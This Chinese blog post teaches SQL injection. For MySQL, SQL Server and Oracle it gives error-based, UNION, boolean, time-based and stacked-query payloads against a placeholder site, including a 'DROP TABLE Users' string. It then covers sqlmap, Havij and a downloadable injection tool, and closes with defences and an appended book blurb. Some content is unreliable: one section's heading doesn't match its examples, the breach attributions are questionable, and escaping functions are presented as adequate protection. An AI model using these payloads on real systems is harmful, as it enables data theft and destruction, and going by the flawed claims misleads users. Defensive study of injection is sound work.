细说SQL注入:攻击手法与防御策略

一、 SQL注入的基本概念

(一)什么是SQL注入

 

        SQL注入是一种常见的网络攻击技术,它允许攻击者在Web应用程序中插入并执行恶意的SQL代码。这种攻击通常针对的是数据驱动的应用程序,尤其是那些未对用户输入进行充分过滤和处理的应用程序。

        在一个典型的SQL注入攻击中,攻击者通过Web应用程序的输入字段(如搜索框、登录表单等)提交恶意的SQL代码。如果应用程序没有正确地处理这些输入,那么这些SQL代码就可能被数据库服务器执行,从而导致数据泄露、数据篡改甚至是服务器被完全接管

        SQL注入攻击的威力来自于它可以直接对数据库进行操作。数据库通常存储着Web应用程序的核心数据,包括用户信息、交易记录、私密通信等。因此,一次成功的SQL注入攻击可能会对目标组织造成严重的损害。

(二)SQL注入的历史及其影响

        SQL注入攻击并不是新的攻击手法,它最早出现在1990年代末,随着Web应用程序和在线数据库的广泛应用而出现。尽管安全研究人员和开发者们已经花费了大量的时间和资源来防止这种攻击,但是由于许多因素,包括开发人员的安全意识不足、复杂的代码库以及不断变化的攻击技术,SQL注入仍然是一种常见且危险的攻击手法。

        SQL注入攻击已经在无数的安全事件中发挥了关键作用,导致了大量的数据泄露。其中一些最知名的例子包括2011年索尼公司的大规模数据泄露,以及2016年雅虎公司的两次大规模数据泄露。在这些事件中,攻击者利用SQL注入漏洞获取了数亿用户的个人信息。

        SQL注入攻击的影响并不仅限于数据泄露。一次成功的SQL注入攻击可能会导致目标服务器被完全接管,攻击者可以利用这个机会进行更进一步的攻击,例如安装恶意软件、发起拒绝服务攻击,或者使用受害者的服务器作为发起其他攻击的跳板。

 

二、 SQL注入攻击的类型

在我们深入了解各种SQL注入攻击手法之前,首先需要了解SQL注入的各种类型。了解这些类型有助于我们更好地理解攻击者如何利用不同的策略和技术进行攻击。

(一)基于错误的SQL注入

        基于错误的SQL注入是最直接的攻击类型。攻击者尝试输入特殊的SQL代码,使得数据库在处理这些代码时出错,然后根据错误信息获取数据库的信息。这种攻击类型依赖于应用程序将数据库错误信息直接展示给用户,因此开发者可以通过禁止错误信息的显示来防止这种攻击。

(二) 盲SQL注入

        盲注是一种更隐蔽的攻击类型。在这种攻击中,攻击者无法直接看到数据库的错误信息,因此需要通过猜测和推理来获取信息。例如,攻击者可以通过观察应用程序的响应时间或者页面的变化来判断其输入的SQL代码是否有效

(三)时间盲注

        时间盲注是盲SQL注入的一种特殊形式。攻击者在SQL代码中插入特殊的函数,使得数据库在处理某些查询时需要消耗更多的时间。通过观察应用程序的响应时间,攻击者可以判断其输入的SQL代码是否有效。

(四)基于UNION查询的SQL注入

        基于UNION查询的SQL注入是一种常见的攻击类型。攻击者使用UNION操作符来合并来自不同数据表的数据,然后通过修改查询的顺序和结构来获取敏感信息。这种攻击类型需要攻击者对目标数据库的结构有一定的了解。

(五)Out-of-band SQL注入

         Out-of-band SQL注入是一种更复杂的攻击类型。在这种攻击中,攻击者不仅利用应用程序的输入和输出,还利用其他的通信渠道,例如DNS查询或者HTTP请求,来获取数据库的信息。这种攻击类型需要应用程序和数据库都有特定的配置,因此在实际中并不常见。

(六)堆叠查询SQL注入

        堆叠查询SQL注入是一种高级的攻击类型。在这种攻击中,攻击者在一个SQL语句中插入多个查询,以执行更复杂的操作。这种攻击类型需要数据库支持堆叠查询,并且攻击者需要对SQL语言有深入的了解。

(七)布尔盲注

        布尔盲注是盲SQL注入的一种变体。在这种攻击中,攻击者通过观察应用程序的响应来判断其输入的SQL语句是否改变了数据库的布尔值。例如,如果应用程序的响应在SQL语句为真时和为假时有所不同,那么攻击者就可以利用这种差异来获取数据库的信息。

(八)内容基础盲注

        内容基础盲注也是盲SQL注入的一种变体。在这种攻击中,攻击者通过观察应用程序返回的内容来判断其输入的SQL语句是否有效。例如,如果应用程序在SQL语句执行成功时返回的内容和执行失败时返回的内容有所不同,那么攻击者就可以利用这种差异来获取数据库的信息。

三、 SQL注入攻击手法详解

(一)、基于错误的SQL注入攻击手法与案例分析

MySQL:

攻击者可能会试图通过在URL后添加一个单引号(')来引发错误。例如:

http://xxxxx.com/product?id=1'

如果应用程序未正确处理此输入,它可能会返回一个类似于以下的错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

这个错误信息表明该网站可能存在SQL注入的漏洞。

        MySQL的错误信息有时可以被用来检索数据库的内容。例如,攻击者可能会尝试使用extractvalue()函数来构造一个XML错误,这个错误将包含数据库的信息。

http://xxxxx.com/product?id=1' or extractvalue(0,concat(0x7e,database())) -- -

如果应用程序未正确处理此输入,它可能会返回一个类似于以下的错误信息:

\XPATH syntax error: '~test_database

        这个错误信息包含了当前使用的数据库名称(在这个例子中是test_database),这对攻击者来说是非常有价值的信息。

http://xxxxx.com/product?id=1' or extractvalue(0,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))) -- -

这可能返回一个类似于以下的错误信息:

XPATH syntax error: '~users'

        这个错误信息揭示了数据库中存在一个名为users的表

SQL Server:

在SQL Server中,攻击者可能会试图使用未定义的函数来引发错误。例如:

http://xxxxx.com/product?id=1;SELECT+convert(int,@@version)

如果该应用程序未正确处理此输入,它可能会返回以下错误信息:

Conversion failed when converting the varchar value 'Microsoft SQL Server 2016' to data type int.

这个错误信息揭示了数据库类型和版本,这对攻击者来说是非常有价值的信息。

Oracle:

在Oracle中,攻击者可能会试图使用错误的SQL语句来引发错误。例如:

http://xxxxx.com/product?id=1' UNION SELECT NULL FROM dual

如果应用程序未正确处理此输入,它可能会返回以下错误信息:

ORA-01790: expression must have same datatype as corresponding expression

这个错误信息表明了应用程序后端使用的是Oracle数据库,可能存在SQL注入的漏洞。

(二)、时间盲注攻击手法与案例分析

MySQL:

假设我们有一个网站,其URL为:http://xxxxx.com/product?id=1。攻击者可以尝试使用布尔盲注来检测SQL注入。例如,可以输入以下载荷:

http://xxxxx.com/product?id=1 AND (SELECT LENGTH(user())>10)

如果页面正常加载,说明user()函数的长度大于10。如果页面不加载或返回错误信息,说明user()函数的长度小于等于10。通过这种方法,攻击者可以逐个字符地获取数据库的信息。

SQL Server:

同样,我们假设有一个URL为http://xxxxx.com/product?id=1的网站。针对SQL Server,攻击者可能会使用以下载荷:

http://xxxxx.com/product?id=1 AND (SELECT LEN(USER_NAME())>10)

与MySQL示例类似,攻击者可以根据页面是否正常加载来推断USER_NAME()函数的长度是否大于10。

Oracle:

对于Oracle数据库,攻击者可以使用以下载荷进行时间盲注:

http://xxxxx.com/product?id=1 AND (SELECT CASE WHEN LENGTH(USER)>10 THEN DBMS_LOCK.SLEEP(5) END FROM DUAL)

在这个例子中,如果USER函数的长度大于10,页面将延迟5秒才加载。通过观察页面加载时间,攻击者可以推断数据库信息。

(三)、基于UNION查询的SQL注入攻击手法与案例分析

MySQL:

假设有一个URL为http://xxxxx.com/product?id=1的网站,其后端使用以下SQL查询来获取产品信息:

SELECT * FROM products WHERE id = ?

攻击者可以尝试注入以下载荷:

http://xxxxx.com/product?id=1 UNION SELECT NULL, user(), NULL, NULL

这里,user()函数返回当前用户的用户名。NULL值用于确保两个SELECT语句返回的列数相同。如果网站没有正确地过滤用户输入,攻击者可能会看到页面上显示出当前用户的用户名。

SQL Server:

假设有一个URL为http://xxxxx.com/product?id=1的网站,攻击者可以尝试注入以下载荷:

http://xxxxx.com/product?id=1 UNION SELECT NULL, USER_NAME(), NULL

这里,USER_NAME()函数返回当前用户的用户名。如同在MySQL示例中,NULL值用于确保两个SELECT语句返回的列数相同。

Oracle:

对于Oracle数据库,攻击者可以尝试注入以下载荷:

http://xxxxx.com/product?id=1 UNION SELECT NULL, USER, NULL FROM DUAL

在这里,USER函数返回当前用户的用户名,DUAL是Oracle中的一个虚拟表。如同在上述示例中,NULL值用于确保两个SELECT语句返回的列数相同。

(四)、堆叠查询SQL注入攻击手法与案例分析

SQL Server:

假设一个应用的URL是http://xxxxx.com/user?id=1,后端SQL查询可能是:SELECT * FROM Users WHERE id = ?。攻击者可以尝试如下的注入:

http://xxxxx.com/user?id=1; DROP TABLE Users

如果应用没有对用户输入进行正确的过滤和转义,那么这个URL的请求将会删除Users表。

Oracle:

在Oracle数据库中,攻击者可以使用相同的策略。例如:

http://xxxxx.com/user?id=1; DROP TABLE Users

与SQL Server的例子一样,如果应用未对用户输入进行正确处理,这个URL的请求将会删除Users表。

(五)、基于布尔的盲注攻击手法与案例分析

MySQL:

假设一个应用的URL是http://xxxxx.com/books?title=XYZ,后端SQL查询可能是:SELECT * FROM Books WHERE title = 'XYZ'。攻击者可以尝试如下的注入:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 FROM dual WHERE database() like 'test%')

如果数据库的名字以"test"开头,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

SQL Server:

攻击者可以使用类似的策略。例如:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 WHERE @@version LIKE 'Microsoft SQL Server 2008%')

如果数据库的版本是SQL Server 2008,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

Oracle:

在Oracle数据库中,攻击者也可以使用类似的策略。例如:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 FROM dual WHERE banner LIKE 'Oracle%')

如果数据库是Oracle,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

(六)、 内容基础盲注攻击手法与案例分析

MySQL:

例如,我们有一个URL如下:http://xxxxx.com/users?id=1,其对应的SQL查询可能是SELECT * FROM users WHERE id = 1。攻击者可以尝试注入一个新的查询,例如:

http://xxxxx.com/users?id=1 AND (SELECT length(database()))>5

如果数据库名称的长度大于5,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。攻击者可以通过改变长度值,逐步猜测出数据库名称的长度。

SQL Server:

在SQL Server中,攻击者可以使用类似的手段:

http://xxxxx.com/users?id=1 AND (SELECT len(@@version))>10

如果数据库版本字符串的长度大于10,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。

Oracle:

在Oracle中,攻击者也可以使用类似的手段:

http://xxxxx.com/users?id=1 AND (SELECT length(user) FROM dual)>5

如果数据库用户名的长度大于5,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。

(七)、延迟注入攻击手法与案例分析

MySQL:

例如,我们有一个URL如下:http://xxxxx.com/users?id=1,其对应的SQL查询可能是SELECT * FROM users WHERE id = 1。攻击者可以尝试注入一个新的查询,例如:

http://xxxxx.com/users?id=1 AND if((SELECT length(database()))>5, sleep(5), null)

如果数据库名称的长度大于5,那么数据库将"睡眠"5秒,页面加载将出现明显延迟。

SQL Server:

在SQL Server中,攻击者可以使用WAITFOR DELAY语句:

http://xxxxx.com/users?id=1; IF (LEN(@@version) > 10) WAITFOR DELAY '00:00:05'

如果数据库版本字符串的长度大于10,那么数据库将等待5秒,页面加载将出现明显延迟。

Oracle:

在Oracle中,攻击者可以使用dbms_pipe.receive_message函数:

http://xxxxx.com/users?id=1 AND (CASE WHEN (LENGTH(user) > 5) THEN dbms_pipe.receive_message(('a'),5) END) FROM dual

如果数据库用户名的长度大于5,那么数据库将等待5秒,页面加载将出现明显延迟。

 

四、 SQL注入攻击工具介绍

SQLmap的使用

        SQLmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞的过程。SQLmap支持多种数据库,包括MySQL, Oracle, PostgreSQL等。使用SQLmap,你可以获取数据库的名称、表、列,甚至是数据。

        基本用法如下:

python sqlmap.py -u "http://www.xxxxxx.com/page.php?id=1"

在这个例子中,-u选项后面跟的是目标网址。

如果你想要SQLmap尝试找出隐藏的参数,可以使用--forms--crawl选项。

Havij的使用

        Havij是一个自动SQL注入工具,使用起来非常简单。只需输入URL,Havij就会自动检测网站是否存在SQL注入漏洞。如果存在,Havij将尝试利用这个漏洞获取数据库的信息。

Havij的基本步骤如下:

  1. 打开Havij,然后在"Target"字段中输入目标URL。

  2. 点击"Analyze"按钮,Havij将分析URL,寻找可能的注入点。

  3. 如果Havij找到了注入点,你可以选择"Tables","Columns"或者"Data",然后点击"Get",Havij将尝试获取这些信息。

超级sql注入工具

         超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,采用C#开发,程序采用自写代码来操作HTTP交互,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入;支持以盲注、错误显示、Union注入等方式来获取数据;支持Access/MySQL/SQLServer/Oracle/PostgreSQL/DB2/SQLite/Informix等数据库;支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。

都是中文下载就能看懂,这个工具还是比较好用的,附上下载连接

https://github.com/shack2/SuperSQLInjectionV1/releases/download/1.0.2020.12.14/SQL.SSQLInjection.V1.0.20201214.zip

五、 SQL注入防御策略

输入验证与转义

输入验证是所有安全防御策略的第一步。始终怀疑并验证用户输入的数据,不要假设它们是安全的。所有的用户输入都需要进行适当的验证,并且应当限制输入的类型、长度、格式和范围。

此外,转义用户的输入也是防御SQL注入的重要步骤。例如,你可以使用MySQL的 mysql_real_escape_string() 函数或者PHP的 addslashes() 函数来转义用户输入的特殊字符,这样就可以防止这些特殊字符破坏SQL查询的结构。

使用参数化查询和预编译语句

参数化查询(也被称为预编译语句或者绑定变量)是防御SQL注入的最有效方法。参数化查询可以确保用户输入的数据永远不会被解析为SQL代码。大多数现代编程语言和框架都支持参数化查询,如.NET的SqlCommand,Java的PreparedStatement,PHP的PDO等。

例如,在PHP中,使用PDO进行参数化查询的代码可能如下所示:

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$email, $password]);

使用最小权限的数据库帐户

遵循最小权限原则,应用程序连接数据库的账户只应该拥有执行必要任务的最小权限。例如,如果应用程序只需要从某个表中读取数据,那么数据库账户就不应该有写入或者删除那个表的权限。这样,即使攻击者利用了SQL注入漏洞,他们也无法进行更多的恶意操作。

更进一步,对于不同的操作和服务,可以使用不同的数据库账户,每个账户都具有各自所需的最小权限。例如,一个用于后台报表生成的账户可能需要读取所有数据的权限,但不需要修改数据的权限。而另一个用于处理用户注册的账户可能需要在用户表中插入新的数据,但不需要读取或者修改已有数据的权限


本篇文章只用作技术交流,利用文章内技术进行违法活动,均与本博主无关!

SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入安全专家,他们集众家之长,对应用程序的基本编码升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层系统层的角度介绍了避免SQL注入的各种策略需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认自动发现SQL注入   查找代码中SQL注入时的提示技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码中的SQL注入 71 3.1 概述 72 3.2 复查源代码中的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQLT-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1:基于时间 120 4.5.2 方法2:基于错误 122 4.5.3 方法3:基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle中的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

鹅子鱼

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值